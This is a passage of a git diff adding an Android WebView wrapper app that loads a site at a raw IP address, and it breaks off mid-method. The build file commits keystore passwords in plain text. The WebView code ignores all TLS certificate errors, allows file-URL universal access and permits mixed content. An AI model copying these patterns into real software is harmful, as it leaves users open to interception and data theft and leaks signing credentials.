b/testTime/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/tkgo/.gitignore b/tkgo/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/tkgo/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/tkgo/build.gradle b/tkgo/build.gradle new file mode 100644 index 0000000..243f96d --- /dev/null +++ b/tkgo/build.gradle @@ -0,0 +1,84 @@ +plugins { + id 'com.android.application' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.tkgo" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "tkgo" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + +} \ No newline at end of file diff --git a/tkgo/dskjweb.jks b/tkgo/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/tkgo/dskjweb.jks differ diff --git a/tkgo/proguard-rules.pro b/tkgo/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/tkgo/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/tkgo/release/output-metadata.json b/tkgo/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/tkgo/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/tkgo/release/testweb.apk b/tkgo/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/tkgo/release/testweb.apk differ diff --git a/tkgo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/tkgo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/tkgo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/tkgo/src/main/AndroidManifest.xml b/tkgo/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f8a3384 --- /dev/null +++ b/tkgo/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/java/com/web/tkgo/CircleImageView.java b/tkgo/src/main/java/com/web/tkgo/CircleImageView.java new file mode 100644 index 0000000..76febd1 --- /dev/null +++ b/tkgo/src/main/java/com/web/tkgo/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.tkgo; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/tkgo/src/main/java/com/web/tkgo/LogUtils.java b/tkgo/src/main/java/com/web/tkgo/LogUtils.java new file mode 100644 index 0000000..c510c41 --- /dev/null +++ b/tkgo/src/main/java/com/web/tkgo/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.tkgo; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = com.web.tkgo.BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/tkgo/src/main/java/com/web/tkgo/MainActivity2.java b/tkgo/src/main/java/com/web/tkgo/MainActivity2.java new file mode 100644 index 0000000..fc31ba0 --- /dev/null +++ b/tkgo/src/main/java/com/web/tkgo/MainActivity2.java @@ -0,0 +1,670 @@ +package com.web.tkgo; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Color; +import android.net.Uri; +import android.net.http.SslError; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ConsoleMessage; +import android.webkit.DownloadListener; +import android.webkit.JavascriptInterface; +import android.webkit.PermissionRequest; +import android.webkit.SslErrorHandler; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebResourceResponse; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.google.android.material.floatingactionbutton.FloatingActionButton; + + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class MainActivity2 extends AppCompatActivity { + public WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; +// public ImageView showTopV1; + private LinearLayout showTopLy; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://154.213.186.36"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + + + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor("#FFFFFF")); + getWindow().getDecorView().setBackgroundColor(Color.parseColor("#FFFFFF")); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + + } + + public void setBackDrawables(int drawableId) { + showTopLy.setBackgroundResource(drawableId); + } + + + + + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + }else{//不能返回了 关闭进程 退出程序 + super.onBackPressed(); + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + +// showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + webView.getSettings().setBlockNetworkImage(false); // 解决图片不显示 + + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); + } + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + com.web.tkgo.LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + webView.loadUrl(url); + + } + +// +// private void checkUpdate(String url) { +// new AppUpdater(this, url).start(); +// } + + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + +// WebView webViews; + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() ->{ + showTopLy.setVisibility(View.GONE); + }, 500); + } + + if(webView.getUrl().equals(url+"/h5/")||webView.getUrl().equals(url+"/h5/#/")){ + getWindow().setNavigationBarColor(Color.parseColor("#000000")); + }else{ + getWindow().setNavigationBarColor(Color.parseColor("#FFFFFF")); + + } + + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +// LogUtils.i("网址是啥:222222222222222222222222"); + + return super.shouldInterceptRequest(webView, s); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); + + return super.shouldInterceptRequest(webView, webResourceRequest); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { +// super.onReceivedSslError(webView, sslErrorHandler, sslError); + sslErrorHandler.proceed(); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + LogUtils.i("网络请求3333:" + request.getUrl()); + LogUtils.i("网络请求3333:" + request.getRequestHeaders()); + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { +// if (consoleMessage.message().contains("POST_DATA:")) { + // 解析控制台输出的 POST 数据 +// String postData = consoleMessage.message().replace("POST_DATA:", ""); +// LogUtils.i("当前输入内容CONSOLE_POST", postData); +// } + return true; + } + + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:" + url); + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:" + url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + 